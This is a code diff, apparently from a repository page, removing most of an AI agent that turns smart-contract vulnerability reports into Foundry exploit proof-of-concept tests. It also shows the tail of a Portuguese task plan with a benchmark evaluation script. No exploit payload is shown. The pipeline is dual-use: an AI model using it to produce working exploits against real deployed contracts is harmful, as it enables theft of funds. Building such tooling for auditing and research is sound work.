console.error(` → ERRO: ${(err as Error).message}`);
|
| 1285 |
-
}
|
| 1286 |
-
}
|
| 1287 |
-
|
| 1288 |
-
const passed = results.filter(r => r.passed).length;
|
| 1289 |
-
const total = results.length;
|
| 1290 |
-
const successRate = ((passed / total) * 100).toFixed(1);
|
| 1291 |
-
const avgIter = (results.reduce((s, r) => s + r.iterations, 0) / total).toFixed(1);
|
| 1292 |
-
|
| 1293 |
-
console.log(`\n${"=".repeat(40)}`);
|
| 1294 |
-
console.log(`Taxa de sucesso: ${successRate}% (${passed}/${total})`);
|
| 1295 |
-
console.log(`Média de iterações: ${avgIter}`);
|
| 1296 |
-
console.log(`${"=".repeat(40)}`);
|
| 1297 |
-
|
| 1298 |
-
writeFileSync("data/eval-results.json", JSON.stringify({ summary: { successRate: parseFloat(successRate), passed, total, avgIterations: parseFloat(avgIter) }, results }, null, 2));
|
| 1299 |
-
console.log("\nResultados salvos em data/eval-results.json");
|
| 1300 |
-
}
|
| 1301 |
-
|
| 1302 |
-
main().catch(console.error);
|
| 1303 |
-
```
|
| 1304 |
-
|
| 1305 |
-
**Critérios de aceitação**
|
| 1306 |
-
- [ ] Roda todos os casos sem travar (erro individual registrado e continua)
|
| 1307 |
-
- [ ] Gera `data/eval-results.json` com resultados por caso + sumário
|
| 1308 |
-
- [ ] Reporta taxa de sucesso, total de casos e média de iterações
|
| 1309 |
-
- [ ] **Taxa alvo:** ≥50% de sucesso nos casos do benchmark
|
| 1310 |
-
|
| 1311 |
-
**Como executar**
|
| 1312 |
-
```bash
|
| 1313 |
-
OPENROUTER_API_KEY=sk-... npx ts-node scripts/evaluate.ts
|
| 1314 |
-
```
|
| 1315 |
-
|
| 1316 |
-
---
|
| 1317 |
-
|
| 1318 |
-
## Resumo de Arquivos por Task
|
| 1319 |
-
|
| 1320 |
-
| Task | Arquivo | Ação |
|
| 1321 |
-
|------|---------|------|
|
| 1322 |
-
| TALP-1.1 | `tsconfig.json`, `package.json` | criar/atualizar |
|
| 1323 |
-
| TALP-1.2 | `src/.../types.ts`, `src/.../state.ts` | criar |
|
| 1324 |
-
| TALP-1.3 | `src/.../agent.ts` | criar (stubs) |
|
| 1325 |
-
| TALP-1.4 | `src/.../tools/scaffoldGenerator.ts` | criar |
|
| 1326 |
-
| TALP-1.5 | `src/.../agent.ts` | modificar (oracleNode real) |
|
| 1327 |
-
| TALP-2.1 | `src/.../prompts/system.ts` | criar |
|
| 1328 |
-
| TALP-2.2 | `src/.../utils/extractSolidity.ts` | criar |
|
| 1329 |
-
| TALP-2.3 | `src/.../agent.ts` | modificar (generatePoCNode real) |
|
| 1330 |
-
| TALP-2.4 | `scripts/setup-sandbox.sh`, `foundry.toml` | criar |
|
| 1331 |
-
| TALP-2.5 | `src/.../tools/foundryRunner.ts` | criar |
|
| 1332 |
-
| TALP-2.6 | `src/.../utils/logAnalyzer.ts` | criar |
|
| 1333 |
-
| TALP-2.7 | `src/.../agent.ts` | modificar (reflectNode real) |
|
| 1334 |
-
| TALP-2.8 | `src/.../agent.ts` | modificar (grafo final com loop) |
|
| 1335 |
-
| TALP-3.1 | `src/.../index.ts` | criar |
|
| 1336 |
-
| TALP-3.2 | `tests/e2e/poc-generator.test.ts` | criar |
|
| 1337 |
-
| TALP-3.3 | `data/benchmark.json` | criar |
|
| 1338 |
-
| TALP-3.4 | `scripts/evaluate.ts` | criar |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
src/agents/tester/agent.ts
CHANGED
|
@@ -1,357 +1,5 @@
|
|
| 1 |
import "dotenv/config";
|
| 2 |
-
import
|
| 3 |
-
import path from "path";
|
| 4 |
-
import { execSync } from "child_process";
|
| 5 |
|
| 6 |
-
|
| 7 |
-
|
| 8 |
-
import { generateLocalScaffold } from "./tools/scaffoldGenerator.js";
|
| 9 |
-
import { OracleContext } from "./types.js";
|
| 10 |
-
import { createLLM } from "../../config/llm.ts";
|
| 11 |
-
import {
|
| 12 |
-
SYSTEM_PROMPT,
|
| 13 |
-
ANALYZE_VULNERABILITY_PROMPT,
|
| 14 |
-
POC_INITIAL_PROMPT,
|
| 15 |
-
POC_COMPILE_FIX_PROMPT,
|
| 16 |
-
POC_TEST_FIX_PROMPT,
|
| 17 |
-
POC_MINIMAL_INTERFACE_PROMPT
|
| 18 |
-
} from "./prompts/system.js";
|
| 19 |
-
import { extractSolidity } from "./utils/extractSolidity.js";
|
| 20 |
-
import { runFoundry } from "./tools/foundryRunner.js";
|
| 21 |
-
import { analyzeFoundryLog } from "./utils/logAnalyzer.js";
|
| 22 |
-
import { extractProjectContext } from "./utils/projectContextExtractor.js";
|
| 23 |
-
import { createMissingDependencyStubs } from "./utils/dependencyStubber.js";
|
| 24 |
-
import { analyzeSolidityFile } from "../auditor/tools/solidity-analyzer-tool.js";
|
| 25 |
-
import { extractConstructor } from "./utils/parserUtils.js";
|
| 26 |
-
import { generateInfrastructureNode, generateExploitNode } from "./nodes.js";
|
| 27 |
-
import { oracleNode } from "./nodes/oracle.js";
|
| 28 |
-
import { analyzeVulnerabilityNode } from "./nodes/analyzeVulnerability.js";
|
| 29 |
-
import { generateInfrastructureNode, generateExploitNode } from "./nodes.js";
|
| 30 |
-
|
| 31 |
-
const MAX_INFRA_ITERATIONS = 30;
|
| 32 |
-
const MAX_EXPLOIT_ITERATIONS = 30;
|
| 33 |
-
|
| 34 |
-
// LLM Routing: Smart model for strategy/logic, Fast model for syntax/compilation
|
| 35 |
-
const smartLlm = createLLM(undefined, "google/gemini-3-flash-preview");
|
| 36 |
-
const fastLlm = createLLM(undefined, "google/gemini-3.1-flash-lite");
|
| 37 |
-
async function oracleNode(state: PoCState): Promise<Partial<PoCState>> {
|
| 38 |
-
console.log("[oracleNode] gerando scaffold para:", state.report.title);
|
| 39 |
-
|
| 40 |
-
const solidityScaffold = generateLocalScaffold(state.report);
|
| 41 |
-
|
| 42 |
-
// Extrair info do constructor para ajudar o LLM no setUp
|
| 43 |
-
const constructorInfo = extractConstructor(state.report.affectedContract.sourceCode, state.report.affectedContract.name);
|
| 44 |
-
|
| 45 |
-
// STEP 3: Automated API Discovery
|
| 46 |
-
console.log("[oracleNode] analisando API do contrato e helpers de teste...");
|
| 47 |
-
const targetContractAPI = await analyzeSolidityFile(state.report.affectedContract.sourceCode, "short");
|
| 48 |
-
|
| 49 |
-
let referenceTestHelpers = "";
|
| 50 |
-
if (state.report.referenceTestCode) {
|
| 51 |
-
referenceTestHelpers = await analyzeSolidityFile(state.report.referenceTestCode, "short");
|
| 52 |
-
}
|
| 53 |
-
|
| 54 |
-
let projectRemappings = "";
|
| 55 |
-
let projectTestImports = "";
|
| 56 |
-
let projectTestFilePath: string | null = null;
|
| 57 |
-
if (state.report.customSandboxDir) {
|
| 58 |
-
console.log("[oracleNode] extracting project context (remappings, test imports)...");
|
| 59 |
-
try {
|
| 60 |
-
const projectCtx = await extractProjectContext(state.report.customSandboxDir);
|
| 61 |
-
projectRemappings = projectCtx.remappings;
|
| 62 |
-
projectTestImports = projectCtx.existingTestImports;
|
| 63 |
-
projectTestFilePath = projectCtx.existingTestFilePath;
|
| 64 |
-
if (projectRemappings) console.log("[oracleNode] found remappings:", projectRemappings.split("\n").length, "entries");
|
| 65 |
-
if (projectTestImports) console.log("[oracleNode] found existing test imports from:", projectTestFilePath);
|
| 66 |
-
} catch (e) {
|
| 67 |
-
console.warn("[oracleNode] could not extract project context:", (e as Error).message);
|
| 68 |
-
}
|
| 69 |
-
|
| 70 |
-
// STEP 5: Remove existing project test files from sandbox test/ directory.
|
| 71 |
-
// Forge compiles ALL .t.sol files even when only running Exploit.t.sol.
|
| 72 |
-
// Existing tests often import missing deps (@prb/test, lib/caviar, etc.)
|
| 73 |
-
// causing compilation failures even when our Exploit.t.sol is clean.
|
| 74 |
-
// We already extracted the import context we needed — now clean up.
|
| 75 |
-
try {
|
| 76 |
-
const testDir = path.join(state.report.customSandboxDir, "test");
|
| 77 |
-
const testEntries = await fs.readdir(testDir, { withFileTypes: true }).catch(() => []);
|
| 78 |
-
let removed = 0;
|
| 79 |
-
for (const entry of testEntries) {
|
| 80 |
-
if (entry.isFile() && entry.name.endsWith(".t.sol") && entry.name !== "Exploit.t.sol") {
|
| 81 |
-
await fs.unlink(path.join(testDir, entry.name));
|
| 82 |
-
removed++;
|
| 83 |
-
}
|
| 84 |
-
}
|
| 85 |
-
if (removed > 0) console.log(`[oracleNode] Removed ${removed} existing test files from sandbox (avoids missing dep conflicts)`);
|
| 86 |
-
} catch (e) {
|
| 87 |
-
console.warn("[oracleNode] test cleanup failed (non-fatal):", (e as Error).message);
|
| 88 |
-
}
|
| 89 |
-
|
| 90 |
-
// STEP 6: Pre-flight dependency stub creation
|
| 91 |
-
// After removing conflicting test files, create stubs for any remaining missing deps
|
| 92 |
-
try {
|
| 93 |
-
await createMissingDependencyStubs(state.report.customSandboxDir);
|
| 94 |
-
} catch (e) {
|
| 95 |
-
console.warn("[oracleNode] stub creation failed (non-fatal):", (e as Error).message);
|
| 96 |
-
}
|
| 97 |
-
}
|
| 98 |
-
|
| 99 |
-
|
| 100 |
-
const oracleContext: OracleContext = {
|
| 101 |
-
solidityScaffold,
|
| 102 |
-
constructorInfo: constructorInfo?.parameters,
|
| 103 |
-
targetContractAPI,
|
| 104 |
-
referenceTestHelpers,
|
| 105 |
-
projectRemappings,
|
| 106 |
-
projectTestImports,
|
| 107 |
-
projectTestFilePath,
|
| 108 |
-
};
|
| 109 |
-
|
| 110 |
-
console.log("[oracleNode] scaffold gerado, context built.");
|
| 111 |
-
return { oracleContext };
|
| 112 |
-
}
|
| 113 |
-
|
| 114 |
-
/**
|
| 115 |
-
* NEW: Multi-Pass Node 1 - Analysis
|
| 116 |
-
*/
|
| 117 |
-
async function analyzeVulnerabilityNode(state: PoCState): Promise<Partial<PoCState>> {
|
| 118 |
-
console.log("[testerAgent] analyzeVulnerabilityNode: analyzing bug...");
|
| 119 |
-
|
| 120 |
-
const userMessage = `Vulnerability Report:
|
| 121 |
-
- Title: ${state.report.title}
|
| 122 |
-
- Type: ${state.report.type}
|
| 123 |
-
- Description: ${state.report.description}
|
| 124 |
-
|
| 125 |
-
### Target Contract Source Code (${state.report.affectedContract.name}):
|
| 126 |
-
\`\`\`solidity
|
| 127 |
-
${state.report.affectedContract.sourceCode}
|
| 128 |
-
\`\`\`
|
| 129 |
-
|
| 130 |
-
### Target Contract API:
|
| 131 |
-
${state.oracleContext!.targetContractAPI}
|
| 132 |
-
|
| 133 |
-
${state.oracleContext!.referenceTestHelpers ? `### Environment Helpers:
|
| 134 |
-
${state.oracleContext!.referenceTestHelpers}` : ""}
|
| 135 |
-
|
| 136 |
-
${state.report.patchDiff ? `### PATCH DIFF (what the fix changes — use this to write a SPECIFIC assertion):
|
| 137 |
-
The following diff shows exactly what changed between the vulnerable and patched version.
|
| 138 |
-
Your generated PoC MUST produce an assertion that:
|
| 139 |
-
- PASSES on the vulnerable version (bug exists)
|
| 140 |
-
- FAILS on the patched version (bug is fixed)
|
| 141 |
-
|
| 142 |
-
\`\`\`diff
|
| 143 |
-
${state.report.patchDiff}
|
| 144 |
-
\`\`\`` : ""}
|
| 145 |
-
`;
|
| 146 |
-
|
| 147 |
-
console.log("[testerAgent] analyzeVulnerabilityNode: analyzing bug using SMART model...");
|
| 148 |
-
const response = await smartLlm.invoke([
|
| 149 |
-
{ role: "system", content: ANALYZE_VULNERABILITY_PROMPT },
|
| 150 |
-
{ role: "user", content: userMessage },
|
| 151 |
-
]);
|
| 152 |
-
|
| 153 |
-
return { vulnerabilityAnalysis: response.content as string };
|
| 154 |
-
}
|
| 155 |
-
|
| 156 |
-
|
| 157 |
-
|
| 158 |
-
|
| 159 |
-
async function runFoundryNode(state: PoCState): Promise<Partial<PoCState>> {
|
| 160 |
-
console.log("[testerAgent] Executando runFoundryNode...");
|
| 161 |
-
|
| 162 |
-
const trimmedCode = state.pocCode.trim();
|
| 163 |
-
const isMissingCode = trimmedCode.length === 0;
|
| 164 |
-
const isMissingContract = !trimmedCode.includes("contract ExploitTest");
|
| 165 |
-
const isMissingTest = !trimmedCode.includes("function test_Exploit()");
|
| 166 |
-
const isPlaceholder = trimmedCode.includes("TODO: implementar exploit");
|
| 167 |
-
const isTargetNotDeployed = trimmedCode.includes("// target = new") ||
|
| 168 |
-
trimmedCode.includes("//Target target = new") ||
|
| 169 |
-
trimmedCode.includes("// target = address(new") ||
|
| 170 |
-
trimmedCode.match(/\/\/\s*([a-zA-Z0-9_]+)\s*=\s*(address\()?new\s+[a-zA-Z0-9_]+/);
|
| 171 |
-
const hasStrongAssertion = (
|
| 172 |
-
trimmedCode.includes("assertEq") ||
|
| 173 |
-
trimmedCode.includes("assertGt") ||
|
| 174 |
-
trimmedCode.includes("assertLt") ||
|
| 175 |
-
trimmedCode.includes("assertLe") ||
|
| 176 |
-
trimmedCode.includes("assertGe") ||
|
| 177 |
-
trimmedCode.includes("assertNotEq") ||
|
| 178 |
-
trimmedCode.includes("assertApproxEq")
|
| 179 |
-
);
|
| 180 |
-
const isLazyTest = (
|
| 181 |
-
trimmedCode.includes("assertTrue(true") ||
|
| 182 |
-
trimmedCode.includes("assert(true") ||
|
| 183 |
-
trimmedCode.includes("assert(1 == 1")
|
| 184 |
-
) && !hasStrongAssertion;
|
| 185 |
-
|
| 186 |
-
const isUsingMock = trimmedCode.includes("contract Mock") || trimmedCode.includes("contract Fake");
|
| 187 |
-
const isUsingTryCatch = trimmedCode.includes("try ") && trimmedCode.includes("catch ");
|
| 188 |
-
|
| 189 |
-
// Anti-Cheat: Prevent redefining the vulnerable contract inside the test file
|
| 190 |
-
// We only block redefining the EXACT target contract. Legitimate helper/attacker contracts are allowed.
|
| 191 |
-
const targetContractRegex = new RegExp(`contract\\s+${state.report.affectedContract.name}\\b`);
|
| 192 |
-
